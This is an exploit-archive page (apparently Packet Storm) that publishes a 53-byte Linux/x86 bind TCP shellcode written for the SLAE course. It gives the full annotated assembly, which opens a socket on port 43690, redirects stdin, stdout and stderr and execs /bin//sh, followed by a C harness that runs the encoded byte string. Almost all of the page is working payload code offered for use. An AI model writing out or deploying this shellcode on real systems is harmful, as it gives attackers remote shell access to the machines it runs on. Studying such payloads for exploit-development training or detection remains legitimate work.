what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 Bind TCP Port 43690 Null-Free Shellcode

Linux/x86 Bind TCP Port 43690 Null-Free Shellcode
Posted Sep 17, 2019
Authored by Daniel Ortiz

53 bytes small Linux/x86 bind TCP port 43690 null-free shellcode.

tags | x86, tcp, shellcode
systems | linux
SHA-256 | 72ee8e6b0c1bb5959452806f1adf21697514884ba37f888de728a9f0fdb94820

Linux/x86 Bind TCP Port 43690 Null-Free Shellcode

Change Mirror Download
#---------------------- DESCRIPTION -------------------------------------#

; Title: Linux/x86 bind tcp shellcode (port 43690) null-free
; Author: Daniel Ortiz
; Tested on: Linux 4.18.0-25-generic #26 Ubuntu
; Size: 53 bytes
; SLAE ID: PA-9844



section .DATA

section .BSS


section .TEXT

global _start

_start:

; int socket(int domain, int type, int protocol);

xor eax, eax
xor ebx, ebx
cdq

push eax ; protocol - 0
push byte 0x1 ; type - SOCK_STREAM
push byte 0x2 ; dominio - AF_INET

mov ecx, esp
inc bl ; sys_socket
mov al, 102 ; socketcall system call
int 0x80

mov esi, eax ; save the socketfd

; bind(soc, (struct sockaddr *)&srv_addr, 0x10)


push edx
push word 0xAAAA
push word 2
mov ecx, esp
push byte 0x10 ; last argument
push ecx ; pointer to the structure
push esi ; socketfd
mov ecx, esp
inc bl ; bl contains 2
mov al, 102
int 0x80


; int listen(int sockfd, int backlog);

push edx
push esi
mov ecx, esp
mov bl, 0x4 ; bl contains 4
mov al, 102
int 0x80

; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)

push edx
push edx
push esi ; socketfd
mov ecx, esp
inc bl ; bl contains 5
mov al, 102
int 0x80
mov ebx, eax

; int dup2(int oldfd, int newfd, int flags);

xor ecx, ecx
mov cl, 3
l00p:
dec cl
mov al, 63
int 0x80
jnz l00p


; int execve(const char *filename, char *const argv[],char *const envp[])

push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx, esp
push edx
push edx
mov ecx, esp
mov al, 0x0b
int 0x80


; exit syscall
xor eax, eax
mov al, 0x1
mov bl, 0x8
int 0x80

/*

shellcode.c program

*/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \

"\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66"
"\xcd\x80\x89\xc6\x52\x66\x68\xaa\xaa\x66\x6a\x02\x89\xe1\x6a\x10"
"\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04"
"\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89"
"\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x52\x89\xe1\xb0\x0b"
"\xcd\x80\x31\xc0\xb0\x01\xb3\x08\xcd\x80";


main()
{

printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close